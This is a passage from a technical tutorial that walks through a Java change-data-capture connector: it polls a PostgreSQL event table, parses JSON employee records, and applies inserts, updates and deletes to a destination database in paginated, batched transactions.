Instead of storing the database password in application.properties, the connector reads it from the DB_PASSWORD environment variable.

This avoids placing database credentials directly in the configuration file or source code.

CDC Processing Parameters

The connector also defines several parameters that control its processing behavior:

private static final int BATCH_SIZE =
        Integer.parseInt(
                CONFIG.getProperty("cdc.batch.size", "1")
        );

private static final int CDC_FETCH_SIZE =
        Integer.parseInt(
                CONFIG.getProperty("cdc.fetch.size", "100")
        );

private static final long POLLING_INTERVAL_MS =
        Long.parseLong(
                CONFIG.getProperty("cdc.polling.interval.ms", "2000")
        );

private static final int MAX_RETRIES =
        Integer.parseInt(
                CONFIG.getProperty("cdc.max.retries", "3")
        );

private static final long INITIAL_RETRY_DELAY_MS =
        Long.parseLong(
                CONFIG.getProperty("cdc.retry.delay.ms", "1000")
        );

private static final long RECONNECT_DELAY_MS =
        Long.parseLong(
                CONFIG.getProperty("cdc.reconnect.delay.ms", "5000")
        );

Notice that some properties have default values. These defaults are used when the corresponding property is missing from application.properties.

For example, if cdc.batch.size is not configured, the connector uses a default batch size of 1.

The connector also defines its name and a Jackson ObjectMapper:

private static final String CONNECTOR_NAME =
        "employee-cdc-connector";

private static final ObjectMapper OBJECT_MAPPER =
        new ObjectMapper();

private static volatile boolean running = true;

CONNECTOR_NAME identifies this CDC connector when reading and updating its checkpoint.
OBJECT_MAPPER is used to convert JSON event data into Java JSON objects.
running controls the connector's execution lifecycle. It is declared volatile so changes made by another thread, such as the shutdown hook, are visible to the polling thread.

Summary

In this subsection, we examined the basic structure and configuration of the Java CDC connector.

Identified the Java libraries used for database connectivity and JSON processing.
Loaded database connection details and CDC parameters from application.properties.
Read the database password from the DB_PASSWORD environment variable.
Defined processing parameters such as batch size, fetch size, polling interval, and retry delays.
Initialized the connector name, Jackson ObjectMapper, and execution flag.

With the configuration in place, we are ready to examine how the connector starts, validates its settings, establishes database connections, and begins processing CDC events.

5.2 Starting the CDC Connector

Now that we understand the connector configuration, let's examine how the Java application starts and manages its execution.

The main() method is the entry point of the CDC connector. It performs the initial configuration checks, registers a shutdown hook, establishes database connections, and starts the continuous CDC polling process.

Understanding the main() Method

The following is the relevant implementation from CDCConnector.java:

public static void main(String[] args) {

    if (DB_PASSWORD == null) {
        throw new IllegalStateException(
                "Please set the DB_PASSWORD environment variable."
        );
    }

    if (BATCH_SIZE < 1 || CDC_FETCH_SIZE < 1
            || POLLING_INTERVAL_MS < 1
            || MAX_RETRIES < 1 || INITIAL_RETRY_DELAY_MS < 1
            || RECONNECT_DELAY_MS < 1) {
        throw new IllegalArgumentException(
                "CDC configuration values must be positive.");
    }

    Runtime.getRuntime().addShutdownHook(new Thread(() -> {
        running = false;
        System.out.println("\nShutdown requested...");
    }));

    System.out.println("Starting CDC Connector...");
    System.out.println("CDC batch size: " + BATCH_SIZE);

    while (running) {

        try (
                Connection sourceConnection =
                        DriverManager.getConnection(
                                SOURCE_URL, DB_USER, DB_PASSWORD);

                Connection destinationConnection =
                        DriverManager.getConnection(
                                DESTINATION_URL, DB_USER, DB_PASSWORD)
        ) {

            System.out.println(
                    "Connected to source database: "
                            + sourceConnection.getCatalog()
            );

            System.out.println(
                    "Connected to destination database: "
                            + destinationConnection.getCatalog()
            );

            // This method reads the latest checkpoint on every
            // new connection session.
            runContinuousPolling(
                    sourceConnection,
                    destinationConnection
            );

        } catch (SQLException e) {

            if (!running) {
                break;
            }

            if (!isConnectionFailure(e)) {
                System.err.println(
                        "Non-connection database error. Stopping connector:"
                );
                e.printStackTrace();
                break;
            }

            System.err.println(
                    "Database connection lost. Reconnecting in "
                            + RECONNECT_DELAY_MS + " ms..."
            );

            try {
                Thread.sleep(RECONNECT_DELAY_MS);

            } catch (InterruptedException interrupted) {
                Thread.currentThread().interrupt();
                running = false;
            }

        } catch (Exception e) {

            System.err.println("CDC Connector failed:");
            e.printStackTrace();
            break;
        }
    }

    System.out.println("CDC Connector stopped.");
}

Let's examine the important parts of this method.

1. Validating the Database Password

if (DB_PASSWORD == null) {
    throw new IllegalStateException(
            "Please set the DB_PASSWORD environment variable."
    );
}

Before attempting to connect to either database, the connector checks whether the DB_PASSWORD environment variable is available.

If the password is missing, the application throws an IllegalStateException and stops execution.

This prevents the connector from attempting database connections without the required credentials.

2. Validating Configuration Parameters

if (BATCH_SIZE < 1 || CDC_FETCH_SIZE < 1
        || POLLING_INTERVAL_MS < 1
        || MAX_RETRIES < 1 || INITIAL_RETRY_DELAY_MS < 1
        || RECONNECT_DELAY_MS < 1) {
    throw new IllegalArgumentException(
            "CDC configuration values must be positive.");
}

The connector validates the numerical configuration parameters before starting.

All these values must be positive:

Batch size
Fetch size
Polling interval
Maximum retries
Initial retry delay
Reconnection delay

If any value is zero or negative, the connector throws an IllegalArgumentException.

This prevents invalid configuration values from causing unexpected behavior during CDC processing.

3. Registering a Shutdown Hook

Runtime.getRuntime().addShutdownHook(new Thread(() -> {
    running = false;
    System.out.println("\nShutdown requested...");
}));

The connector registers a JVM shutdown hook to handle graceful termination.

A shutdown hook is a thread that the JVM starts when it begins shutting down.

For example, when the user presses Ctrl+C in the terminal, the shutdown hook sets:

running = false;

Because the running variable is declared volatile, the polling thread can observe this change.

The connector then exits its execution loop and terminates.

4. Starting the Connector

System.out.println("Starting CDC Connector...");
System.out.println("CDC batch size: " + BATCH_SIZE);

These statements display startup information in the console.

For example:

Starting CDC Connector...
CDC batch size: 3

This provides basic visibility into the connector's startup and configured batch size.

5. Managing the Connector Lifecycle

while (running) {
    // Database connections and CDC polling
}

The connector runs inside a continuous loop as long as running remains true.

Inside this loop, it establishes connections to the source and destination databases and invokes runContinuousPolling().

The connections are created inside a Java try-with-resources statement:

try (
    Connection sourceConnection =
            DriverManager.getConnection(
                    SOURCE_URL, DB_USER, DB_PASSWORD);

    Connection destinationConnection =
            DriverManager.getConnection(
                    DESTINATION_URL, DB_USER, DB_PASSWORD)
) {
    // CDC processing
}

Try-with-resources automatically closes both database connections when execution leaves the block, including when an exception occurs.

We will examine database connection establishment in more detail in Section 5.3.

6. Handling Database Connection Failures

The main() method catches database exceptions:

catch (SQLException e) {

    if (!running) {
        break;
    }

    if (!isConnectionFailure(e)) {
        System.err.println(
                "Non-connection database error. Stopping connector:"
        );
        e.printStackTrace();
        break;
    }

    System.err.println(
            "Database connection lost. Reconnecting in "
                    + RECONNECT_DELAY_MS + " ms..."
    );

    try {
        Thread.sleep(RECONNECT_DELAY_MS);

    } catch (InterruptedException interrupted) {
        Thread.currentThread().interrupt();
        running = false;
    }
}

The connector distinguishes between connection failures and other database errors.

Connection failure: The connector waits for the configured reconnection delay and then attempts to establish new database connections.
Other database error: The connector logs the exception and stops execution rather than repeatedly retrying an error that may require intervention.

The method isConnectionFailure() determines whether a database exception represents a connection-related problem. We will examine its implementation in Section 8, Error Handling and Recovery.

7. Handling Other Exceptions

catch (Exception e) {

    System.err.println("CDC Connector failed:");
    e.printStackTrace();
    break;
}

Any other exception that is not handled by the preceding SQLException catch block is logged, and the connector stops.

This prevents the application from continuing in an unexpected state after an unhandled error.

8. Connector Shutdown

After the execution loop terminates, the following statement is executed:

System.out.println("CDC Connector stopped.");

This provides a final console message indicating that the connector has stopped.

Summary

In this subsection, we examined how the Java CDC connector starts and manages its execution lifecycle.

Validates the database password and numerical configuration parameters.
Registers a JVM shutdown hook for graceful termination.
Starts the connector inside a continuous execution loop.
Establishes connections to both PostgreSQL databases.
Invokes the continuous polling method.
Handles connection failures by waiting before attempting reconnection.
Stops execution when it encounters non-connection database errors or other unhandled exceptions.

In the next subsection, we will examine how the connector establishes JDBC connections to the source and destination PostgreSQL databases.

5.3 Establishing Database Connections

The CDC connector needs to communicate with two PostgreSQL databases:

Source database (cdc_source): Used to read CDC events from the cdc_events table.
Destination database (cdc_destination): Used to apply employee changes and maintain the CDC checkpoint.

Java Database Connectivity (JDBC) provides the mechanism for establishing and managing these database connections.

Establishing JDBC Connections

Our implementation uses the JDBC DriverManager.getConnection() method to establish connections to both databases.

The relevant code from the main() method is:

try (
    Connection sourceConnection =
            DriverManager.getConnection(
                    SOURCE_URL, DB_USER, DB_PASSWORD);

    Connection destinationConnection =
            DriverManager.getConnection(
                    DESTINATION_URL, DB_USER, DB_PASSWORD)
) {

    System.out.println(
            "Connected to source database: "
                    + sourceConnection.getCatalog()
    );

    System.out.println(
            "Connected to destination database: "
                    + destinationConnection.getCatalog()
    );

    runContinuousPolling(
            sourceConnection,
            destinationConnection
    );
}

Let's understand the important parts.

1. Connecting to the Source Database

Connection sourceConnection =
        DriverManager.getConnection(
                SOURCE_URL, DB_USER, DB_PASSWORD);

This statement establishes a JDBC connection to the source PostgreSQL database.

The connection parameters are:

SOURCE_URL – JDBC URL of the cdc_source database.
DB_USER – PostgreSQL username.
DB_PASSWORD – Database password obtained from the environment variable.

Once the connection is established, the connector can execute SQL queries against the source database to retrieve CDC events.

2. Connecting to the Destination Database

Connection destinationConnection =
        DriverManager.getConnection(
                DESTINATION_URL, DB_USER, DB_PASSWORD);

Similarly, this statement establishes a separate JDBC connection to the destination PostgreSQL database.

The connector uses this connection to:

Insert new employee records.
Update existing employee records.
Delete employee records.
Read and update the CDC checkpoint.

Keeping separate connections allows the connector to independently interact with both databases.

3. Verifying Database Connections

After establishing both connections, the connector displays the connected database names:

System.out.println(
        "Connected to source database: "
                + sourceConnection.getCatalog()
);

System.out.println(
        "Connected to destination database: "
                + destinationConnection.getCatalog()
);

The JDBC Connection.getCatalog() method returns the catalog associated with the connection. For PostgreSQL, this corresponds to the connected database name.

For our implementation, the expected output is:

Connected to source database: cdc_source
Connected to destination database: cdc_destination

This provides a simple way to confirm which databases the connector has connected to.

4. Managing Connection Resources

Notice that both connections are created inside a Java try-with-resources statement.

try (
    Connection sourceConnection = ...;
    Connection destinationConnection = ...
) {
    // CDC processing
}

Try-with-resources automatically closes resources when execution leaves the try block.

This is important because database connections consume resources on both the Java application and PostgreSQL server.

If an exception occurs during processing, the connections are still closed automatically when the try-with-resources block exits.

If establishing the second connection fails after the first connection has been successfully opened, Java also closes the first connection.

5. Passing Connections to the Polling Method

After both connections are established, the connector invokes:

runContinuousPolling(
        sourceConnection,
        destinationConnection
);

Both JDBC connections are passed to the polling method.

The source connection is used to retrieve CDC events, while the destination connection is used to apply the corresponding changes and manage checkpoints.

We will examine the continuous polling mechanism in the next subsection.

Summary

In this subsection, we examined how the Java CDC connector establishes database connections.

Uses JDBC DriverManager.getConnection() to connect to PostgreSQL.
Establishes separate connections to the source and destination databases.
Uses the configured database URLs and credentials.
Verifies the connected database names using getCatalog().
Uses try-with-resources to ensure database connections are closed when the connection session ends.
Passes both connections to the continuous polling method.

The connector is now connected to both databases and ready to begin processing CDC events.

5.4 Implementing Continuous CDC Polling

Once the connector establishes connections to both PostgreSQL databases, it starts continuously polling the source database for new CDC events.

The runContinuousPolling() method is responsible for managing this polling process.

It performs the following operations:

Reads the last processed event ID from the destination checkpoint table.
Starts the continuous polling loop.
Invokes the event-processing method to retrieve and process available CDC events.
Waits for the configured polling interval before checking again.
Stops polling when a shutdown is requested or the thread is interrupted.

Understanding the runContinuousPolling() Method

The implementation is shown below:

private static void runContinuousPolling(
        Connection sourceConnection,
        Connection destinationConnection) throws Exception {

    long lastProcessedEventId =
            getLastProcessedEventId(destinationConnection);

    System.out.println(
            "\nStarting continuous CDC polling..."
    );

    System.out.println(
            "Last processed event ID: " + lastProcessedEventId
    );

    System.out.println(
            "Polling interval: " + POLLING_INTERVAL_MS + " ms");

    System.out.println("Press Ctrl+C to stop the connector.\n");

    while (running && !Thread.currentThread().isInterrupted()) {

        lastProcessedEventId = processAvailableEvents(
                sourceConnection,
                destinationConnection,
                lastProcessedEventId
        );

        try {
            Thread.sleep(POLLING_INTERVAL_MS);

        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            running = false;
        }
    }

    System.out.println("CDC Connector stopped.");
}

Let's examine the important parts.

1. Reading the Last Processed Event ID

long lastProcessedEventId =
        getLastProcessedEventId(destinationConnection);

Before starting the polling loop, the connector reads the last successfully processed event ID from the cdc_checkpoint table in the destination database.

This allows the connector to resume processing from its previously recorded position when a new connection session starts.

For a new connector installation, the initial checkpoint value is 0, as initialized in Section 3.5.

We'll examine checkpoint management in detail in Section 7.

2. Displaying Polling Information

System.out.println(
        "\nStarting continuous CDC polling..."
);

System.out.println(
        "Last processed event ID: " + lastProcessedEventId
);

System.out.println(
        "Polling interval: " + POLLING_INTERVAL_MS + " ms");

These statements display useful information when the connector starts polling.

For example:

Starting continuous CDC polling...
Last processed event ID: 0
Polling interval: 2000 ms
Press Ctrl+C to stop the connector.

This helps monitor the connector's startup and current processing position.

3. Implementing the Continuous Polling Loop

while (running && !Thread.currentThread().isInterrupted()) {

    lastProcessedEventId = processAvailableEvents(
            sourceConnection,
            destinationConnection,
            lastProcessedEventId
    );

    // Wait before the next polling cycle.
}

The connector continues polling as long as both conditions are satisfied:

running is true.
The current thread has not been interrupted.

During each iteration, the connector invokes processAvailableEvents().

This method retrieves available CDC events from the source database, processes them, and returns the updated last processed event ID.

The returned value is used in the next polling iteration.

We'll examine the event retrieval and processing logic in Section 5.5.

4. Controlling the Polling Interval

Thread.sleep(POLLING_INTERVAL_MS);

After processing the currently available events, the connector waits for the configured polling interval before starting another polling cycle.

In our demonstration:

cdc.polling.interval.ms=2000

This means the connector waits for two seconds between polling cycles.

The polling interval controls how frequently the connector checks for newly available events when the current batch of available events has been processed.

5. Handling Thread Interruption

catch (InterruptedException e) {
    Thread.currentThread().interrupt();
    running = false;
}

If the polling thread is interrupted while sleeping, the connector handles the interruption by:

Restoring the thread's interrupted status using Thread.currentThread().interrupt().
Setting running to false to stop the polling loop.

This allows the connector to terminate its polling process cleanly.

Summary

In this subsection, we implemented the continuous polling mechanism.

Reads the last processed event ID when a new connection session starts.
Continuously invokes processAvailableEvents() to process available CDC events.
Uses the configured polling interval to control polling frequency.
Updates the local processing position using the value returned by the event-processing method.
Supports graceful termination through the running flag and thread interruption.

The continuous polling mechanism is now in place. In the next subsection, we will examine how the connector retrieves CDC events from the source database and converts their JSON data into Java objects.

5.5 Reading and Processing CDC Events

Now that the continuous polling mechanism is in place, let's examine how the connector retrieves CDC events from the source database.

The processAvailableEvents() method is responsible for:

Querying the cdc_events table for unprocessed events.
Retrieving the event ID, operation type, employee record ID, and captured employee data.
Converting the JSON event data into Java objects using Jackson.
Organizing the retrieved events for processing.
Passing the events to the batch-processing method.
Returning the updated processing position.

Understanding the processAvailableEvents() Method

The method accepts three parameters:

sourceConnection – JDBC connection to the source database.
destinationConnection – JDBC connection to the destination database.
lastProcessedEventId – The last event ID processed by the connector.

The implementation is shown below:

private static long processAvailableEvents(
        Connection sourceConnection,
        Connection destinationConnection,
        long lastProcessedEventId) throws Exception {

    String sql = """
            SELECT event_id, operation, record_id, changed_data
            FROM cdc_events
            WHERE event_id > ?
            ORDER BY event_id
            LIMIT ?
            """;

    while (true) {

        List<CDCEvent> events = new ArrayList<>();

        try (PreparedStatement statement =
                     sourceConnection.prepareStatement(sql)) {

            statement.setLong(1, lastProcessedEventId);
            statement.setInt(2, CDC_FETCH_SIZE);

            try (ResultSet resultSet = statement.executeQuery()) {

                while (resultSet.next()) {

                    long eventId = resultSet.getLong("event_id");
                    String operation = resultSet.getString("operation");
                    int recordId = resultSet.getInt("record_id");

                    String changedData =
                            resultSet.getString("changed_data");

                    JsonNode employeeData =
                            OBJECT_MAPPER.readTree(changedData);

                    events.add(new CDCEvent(
                            eventId,
                            operation,
                            recordId,
                            employeeData
                    ));
                }
            }
        }

        // No more events are currently available.
        if (events.isEmpty()) {
            break;
        }

        // Process the fetched events in configured batch sizes.
        for (int i = 0; i < events.size(); i += BATCH_SIZE) {

            int endIndex = Math.min(
                    i + BATCH_SIZE,
                    events.size()
            );

            List<CDCEvent> batch =
                    events.subList(i, endIndex);

            processBatchWithRetry(
                    destinationConnection,
                    batch
            );

            lastProcessedEventId =
                    batch.get(batch.size() - 1).eventId();
        }

        // Continue fetching the next page.
    }

    return lastProcessedEventId;
}

Let's examine the important parts.

1. Querying the CDC Events Table

The connector uses the following SQL query:

SELECT event_id, operation, record_id, changed_data
FROM cdc_events
WHERE event_id > ?
ORDER BY event_id
LIMIT ?;

This query retrieves CDC events that have not yet been processed according to the connector's current processing position.

The query uses two parameters:

event_id > ? – Retrieves events with IDs greater than the last processed event ID.
LIMIT ? – Restricts the number of events retrieved in a single query.

The results are ordered by event_id in ascending order.

This allows the connector to process the retrieved events in event ID order.

2. Executing the Query Using PreparedStatement

try (PreparedStatement statement =
             sourceConnection.prepareStatement(sql)) {

    statement.setLong(1, lastProcessedEventId);
    statement.setInt(2, CDC_FETCH_SIZE);

    try (ResultSet resultSet = statement.executeQuery()) {
        // Process results
    }
}

The connector uses a JDBC PreparedStatement to execute the query.

The two parameters are supplied using:

setLong() for the last processed event ID.
setInt() for the maximum number of events to retrieve.

Using a prepared statement separates SQL structure from parameter values and avoids constructing the query through string concatenation.

The query results are returned as a JDBC ResultSet.

3. Extracting CDC Event Information

The connector iterates through the result set:

while (resultSet.next()) {

    long eventId = resultSet.getLong("event_id");
    String operation = resultSet.getString("operation");
    int recordId = resultSet.getInt("record_id");

    String changedData =
            resultSet.getString("changed_data");
}

For each CDC event, it retrieves four values:

Column	Java variable	Description
`event_id`	`eventId`	Unique event ID.
`operation`	`operation`	INSERT, UPDATE, or DELETE.
`record_id`	`recordId`	ID of the affected employee.
`changed_data`	`changedData`	Employee data captured in JSONB format.

These values contain the information required to process the corresponding employee change.

4. Converting JSON Data into Java Objects

The changed_data column contains employee information in PostgreSQL's JSONB format.

The connector retrieves this value as a string and converts it into a Jackson JsonNode:

String changedData =
        resultSet.getString("changed_data");

JsonNode employeeData =
        OBJECT_MAPPER.readTree(changedData);

The ObjectMapper.readTree() method parses the JSON string and creates a tree representation of the JSON data.

For example, a captured employee record might look like this:

{
  "id": 101,
  "name": "John Smith",
  "department": "Engineering",
  "salary": 95000.00
}

After parsing, the connector can access individual fields using methods such as:

employeeData.get("id").asInt();
employeeData.get("name").asText();
employeeData.get("salary").decimalValue();

This makes it convenient to extract employee information when applying changes to the destination database.

5. Creating CDCEvent Objects

After extracting the event information and parsing the JSON data, the connector creates a CDCEvent object:

events.add(new CDCEvent(
        eventId,
        operation,
        recordId,
        employeeData
));

The CDCEvent record is defined as follows:

private record CDCEvent(
        long eventId,
        String operation,
        int recordId,
        JsonNode employeeData) {
}

Java records provide a concise way to represent immutable data objects.

Each CDCEvent contains:

Event ID.
Operation type.
Employee record ID.
Parsed employee data.

The connector stores the retrieved events in an ArrayList for subsequent processing.

6. Checking Whether Events Are Available

After executing the query, the connector checks whether any events were retrieved:

if (events.isEmpty()) {
    break;
}

If no unprocessed events are currently available, the method exits its fetching loop and returns the current processing position.

The continuous polling method will wait for the configured polling interval before checking the source database again.

If events are available, the connector passes them to the batch-processing logic.

7. Passing Events for Processing

The connector divides the retrieved events into batches and invokes:

processBatchWithRetry(
        destinationConnection,
        batch
);

After a batch has been successfully processed, the connector updates its local processing position:

lastProcessedEventId =
        batch.get(batch.size() - 1).eventId();

This value is then used when retrieving the next page of events.

The detailed batch-processing and pagination logic will be discussed in Section 6.

Summary

In this subsection, we examined how the Java connector retrieves and prepares CDC events for processing.

Queries the source cdc_events table using the last processed event ID.
Retrieves the event ID, operation, employee ID, and captured employee data.
Uses JDBC PreparedStatement and ResultSet to execute and read the query.
Converts JSONB event data into Jackson JsonNode objects.
Creates CDCEvent records to represent individual changes.
Passes the retrieved events to the batch-processing method.
Updates the local processing position after each successfully processed batch.

The connector can now retrieve CDC events and prepare them for application to the destination database.

In the next subsection, we will examine how the connector applies INSERT, UPDATE, and DELETE operations to the destination employees table.

5.6 Applying Changes to the Destination Database

After retrieving and parsing CDC events from the source database, the connector must apply the corresponding changes to the destination employees table.

The applyChange() method is responsible for this operation.

It examines the CDC operation type and executes the appropriate SQL statement against the destination database.

Understanding the applyChange() Method

The implementation is shown below:

private static void applyChange(
        Connection connection,
        String operation,
        JsonNode employeeData) throws SQLException {

    int employeeId =
            employeeData.get("id").asInt();

    switch (operation) {

        case "INSERT" -> {

            String sql = """
                    INSERT INTO employees
                    (id, name, department, salary)
                    VALUES (?, ?, ?, ?)
                    """;

            try (PreparedStatement statement =
                         connection.prepareStatement(sql)) {

                statement.setInt(1, employeeId);
                statement.setString(
                        2, employeeData.get("name").asText());

                setDepartment(statement, 3, employeeData);
                setSalary(statement, 4, employeeData);

                statement.executeUpdate();
            }
        }

        case "UPDATE" -> {

            String sql = """
                    UPDATE employees
                    SET name = ?, department = ?, salary = ?
                    WHERE id = ?
                    """;

            try (PreparedStatement statement =
                         connection.prepareStatement(sql)) {

                statement.setString(
                        1, employeeData.get("name").asText());

                setDepartment(statement, 2, employeeData);
                setSalary(statement, 3, employeeData);

                statement.setInt(4, employeeId);

                int rowsUpdated = statement.executeUpdate();

                if (rowsUpdated != 1) {
                    throw new SQLException(
                            "Expected to update employee "
                                    + employeeId
                    );
                }
            }
        }

        case "DELETE" -> {

            String sql =
                    "DELETE FROM employees WHERE id = ?";

            try (PreparedStatement statement =
                         connection.prepareStatement(sql)) {

                statement.setInt(1, employeeId);

                int rowsDeleted = statement.executeUpdate();

                if (rowsDeleted != 1) {
                    throw new SQLException(
                            "Expected to delete employee "
                                    + employeeId
                    );
                }
            }
        }

        default -> throw new SQLException(
                "Unsupported CDC operation: " + operation
        );
    }
}

Let's examine how each operation is handled.

1. Extracting the Employee ID

int employeeId =
        employeeData.get("id").asInt();

The connector extracts the employee ID from the parsed JSON data.

This ID identifies the employee record that must be inserted, updated, or deleted in the destination database.

The destination uses the same employee ID as the source database to maintain consistency between the two databases.

2. Handling INSERT Operations

case "INSERT" -> {

    String sql = """
            INSERT INTO employees
            (id, name, department, salary)
            VALUES (?, ?, ?, ?)
            """;

    try (PreparedStatement statement =
                 connection.prepareStatement(sql)) {

        statement.setInt(1, employeeId);
        statement.setString(
                2, employeeData.get("name").asText());

        setDepartment(statement, 3, employeeData);
        setSalary(statement, 4, employeeData);

        statement.executeUpdate();
    }
}

When the operation is INSERT, the connector creates a new employee record in the destination database.

The prepared statement uses four parameters:

Parameter	Value
1	Employee ID
2	Employee name
3	Department
4	Salary

The employee ID and name are extracted directly from the JSON data.

The setDepartment() and setSalary() helper methods handle the remaining fields, including NULL values.

Finally, executeUpdate() executes the INSERT statement.

3. Handling UPDATE Operations

case "UPDATE" -> {

    String sql = """
            UPDATE employees
            SET name = ?, department = ?, salary = ?
            WHERE id = ?
            """;

    try (PreparedStatement statement =
                 connection.prepareStatement(sql)) {

        statement.setString(
                1, employeeData.get("name").asText());

        setDepartment(statement, 2, employeeData);
        setSalary(statement, 3, employeeData);

        statement.setInt(4, employeeId);

        int rowsUpdated = statement.executeUpdate();

        if (rowsUpdated != 1) {
            throw new SQLException(
                    "Expected to update employee "
                            + employeeId
            );
        }
    }
}

When the operation is UPDATE, the connector modifies the corresponding employee record in the destination database.

The SQL statement updates the employee's name, department, and salary using the employee ID as the condition.

After executing the statement, the connector checks the number of affected rows.

if (rowsUpdated != 1) {
    throw new SQLException(
            "Expected to update employee " + employeeId
    );
}

The implementation expects exactly one employee record to be updated.

If no matching employee exists, or an unexpected number of rows is affected, the connector throws an SQLException.

This prevents the connector from silently treating an unsuccessful update as successful.

4. Handling DELETE Operations

case "DELETE" -> {

    String sql =
            "DELETE FROM employees WHERE id = ?";

    try (PreparedStatement statement =
                 connection.prepareStatement(sql)) {

        statement.setInt(1, employeeId);

        int rowsDeleted = statement.executeUpdate();

        if (rowsDeleted != 1) {
            throw new SQLException(
                    "Expected to delete employee "
                            + employeeId
            );
        }
    }
}

When the operation is DELETE, the connector removes the corresponding employee record from the destination database.

The employee ID identifies the record to delete.

Similar to the UPDATE operation, the connector verifies that exactly one row was deleted. Otherwise, it throws an SQLException.

5. Handling Unsupported Operations

default -> throw new SQLException(
        "Unsupported CDC operation: " + operation
);

The default branch handles any operation type that is not supported by the connector.

Currently, the implementation supports:

INSERT
UPDATE
DELETE

If an unexpected operation is received, the connector throws an exception instead of silently ignoring the event.

Summary

In this subsection, we examined how the Java CDC connector applies changes to the destination database.

Extracts the employee ID from the parsed JSON event data.
Uses a Java switch expression to identify the CDC operation.
Executes INSERT statements for new employee records.
Executes UPDATE statements for modified employee records.
Executes DELETE statements for removed employee records.
Uses JDBC PreparedStatement for parameterized SQL execution.
Verifies that UPDATE and DELETE operations affect exactly one row.
Rejects unsupported CDC operations.

The connector can now translate captured CDC events into corresponding database operations.

In the next subsection, we will examine how the connector handles nullable employee fields using the setDepartment() and setSalary() helper methods.

5.7 Handling Nullable Employee Fields

In the previous subsection, we examined how the connector applies INSERT, UPDATE, and DELETE operations to the destination database.

You may have noticed that the applyChange() method delegates the handling of department and salary values to two helper methods:

setDepartment()
setSalary()

These methods handle nullable employee fields and ensure that SQL NULL values are correctly passed to PostgreSQL.

1. Handling the Department Field

The implementation of setDepartment() is shown below:

private static void setDepartment(
        PreparedStatement statement,
        int parameterIndex,
        JsonNode employeeData) throws SQLException {

    JsonNode department =
            employeeData.get("department");

    if (department == null || department.isNull()) {
        statement.setNull(parameterIndex, Types.VARCHAR);
    } else {
        statement.setString(
                parameterIndex, department.asText());
    }
}

Let's understand how this method works.

Retrieves the department field from the JSON employee data.
Checks whether the field is missing or contains a JSON NULL value.
If the value is NULL, calls PreparedStatement.setNull() with Types.VARCHAR.
Otherwise, extracts the department value as a string and passes it to the prepared statement using setString().

For example, consider the following employee data:

{
  "id": 101,
  "name": "John Smith",
  "department": null,
  "salary": 95000.00
}

In this case, the method detects that the department value is NULL and sets the corresponding SQL parameter to NULL.

2. Handling the Salary Field

The implementation of setSalary() is shown below:

private static void setSalary(
        PreparedStatement statement,
        int parameterIndex,
        JsonNode employeeData) throws SQLException {

    JsonNode salary = employeeData.get("salary");

    if (salary == null || salary.isNull()) {
        statement.setNull(parameterIndex, Types.NUMERIC);
    } else {
        BigDecimal value = salary.decimalValue();
        statement.setBigDecimal(parameterIndex, value);
    }
}

The logic is similar to the department handling, but there is an important difference in the Java data type.

Retrieves the salary field from the JSON employee data.
Checks whether the field is missing or contains a JSON NULL value.
If the value is NULL, sets the SQL parameter to NULL using Types.NUMERIC.
Otherwise, converts the JSON numeric value into a Java BigDecimal.
Uses PreparedStatement.setBigDecimal() to pass the salary to PostgreSQL.

Why use BigDecimal for salary?

The PostgreSQL salary column is defined as:

salary NUMERIC(10,2)

Java's BigDecimal is suitable for handling decimal values because it provides decimal precision without the binary floating-point representation issues associated with float and double.

This is particularly useful when processing financial or monetary values.

3. Why Handle NULL Values Explicitly?

In our source database, the department and salary columns allow NULL values.

Therefore, the CDC connector must preserve those NULL values when synchronizing employee records.

JDBC provides the PreparedStatement.setNull() method to explicitly bind SQL NULL values to prepared statement parameters.

The implementation uses the appropriate SQL types:

Column	JDBC SQL type	Java value handling
`department`	`Types.VARCHAR`	`String`
`salary`	`Types.NUMERIC`	`BigDecimal`

This ensures that nullable employee fields are correctly represented in the destination database.

Summary

In this subsection, we examined how the connector handles nullable employee fields.

Implemented setDepartment() to handle nullable VARCHAR values.
Implemented setSalary() to handle nullable NUMERIC values.
Used PreparedStatement.setNull() to explicitly bind SQL NULL values.
Used BigDecimal to preserve decimal precision when processing salary values.

With these helper methods, the Java CDC connector can correctly handle employee records containing NULL department or salary values.

6. Batch Processing and Pagination

In the previous section, we implemented the Java CDC connector to retrieve events from the source database and apply the corresponding changes to the destination database.

However, processing a large number of CDC events individually can result in unnecessary database queries and transaction overhead.

To improve processing efficiency, our implementation uses two techniques:

Pagination: Retrieves CDC events from the source database in manageable groups.
Batch Processing: Applies multiple CDC events to the destination database within a single transaction.

These two mechanisms are controlled by separate configuration parameters: cdc.fetch.size and cdc.batch.size.

6.1 Understanding Fetch Size and Batch Size

Our connector uses the following configuration:

cdc.fetch.size=4
cdc.batch.size=3

Let's understand the difference.

Fetch Size

The fetch size determines the maximum number of CDC events retrieved from the source database in a single SQL query.

In our implementation, this value is used with the SQL LIMIT clause:

SELECT event_id, operation, record_id, changed_data
FROM cdc_events
WHERE event_id > ?
ORDER BY event_id
LIMIT ?;

For example, with cdc.fetch.size=4, each query retrieves at most four CDC events.

Batch Size

The batch size determines how many retrieved events are applied to the destination database within one transaction.

With cdc.batch.size=3, the connector processes up to three events in each destination transaction.

The difference can be summarized as follows:

Parameter	Purpose	Example
`cdc.fetch.size`	Maximum events retrieved per source query	4
`cdc.batch.size`	Maximum events processed per destination transaction	3

Keeping these parameters separate allows us to control source-side retrieval and destination-side transaction sizes independently.

6.2 Implementing Pagination

The processAvailableEvents() method implements pagination by repeatedly querying the source cdc_events table.

The relevant SQL query is:

SELECT event_id, operation, record_id, changed_data
FROM cdc_events
WHERE event_id > ?
ORDER BY event_id
LIMIT ?;

The connector supplies the query parameters using:

statement.setLong(1, lastProcessedEventId);
statement.setInt(2, CDC_FETCH_SIZE);

The query retrieves events whose IDs are greater than the last successfully processed event ID, in ascending order.

The LIMIT clause restricts each query to the configured fetch size.

After processing the retrieved events, the connector executes the query again to retrieve the next page.

The relevant loop is:

while (true) {

    List<CDCEvent> events = new ArrayList<>();

    // Retrieve the next page of CDC events.
    // ...

    if (events.isEmpty()) {
        break;
    }

    // Process the retrieved events.
    // ...
}

The loop continues until the query returns no additional events.

This allows the connector to process more events than can be retrieved in a single query.

6.3 Implementing Batch Processing

After retrieving a page of CDC events, the connector divides the events into smaller batches using the configured BATCH_SIZE.

The relevant implementation is:

for (int i = 0; i < events.size(); i += BATCH_SIZE) {

    int endIndex = Math.min(
            i + BATCH_SIZE,
            events.size()
    );

    List<CDCEvent> batch =
            events.subList(i, endIndex);

    processBatchWithRetry(
            destinationConnection,
            batch
    );

